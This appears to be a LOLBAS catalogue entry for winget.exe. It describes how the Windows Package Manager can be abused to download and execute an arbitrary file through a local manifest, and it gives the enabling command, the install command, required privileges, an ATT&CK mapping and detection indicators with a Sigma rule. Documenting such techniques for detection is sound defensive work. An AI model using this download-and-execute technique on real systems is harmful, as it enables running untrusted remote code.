.. /winget.exe
Star

Windows Package Manager tool

Paths:

C:\Users\user\AppData\Local\Microsoft\WindowsApps\winget.exe

Resources:

Acknowledgements:

Paul (@saulpanders)

Detection:

IOC: winget.exe spawned with local manifest file
IOC: Sysmon Event ID 1 - Process Creation
Analysis: https://saulpanders.github.io/2022/01/02/New-Year-New-LOLBAS.html
Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winget_local_install_via_manifest.yml

Execute

Downloads a file from the web address specified in manifest.yml and executes it on the system. Local manifest setting must be enabled in winget for it to work: "winget settings --enable LocalManifestFiles"
```
winget.exe install --manifest manifest.yml
```
Use case
Download and execute an arbitrary file from the internet

Privileges required
Local Aministrator - required to enabled local manifest setting

Operating systems
Windows 10, Windows 11

ATT&CK® technique
T1105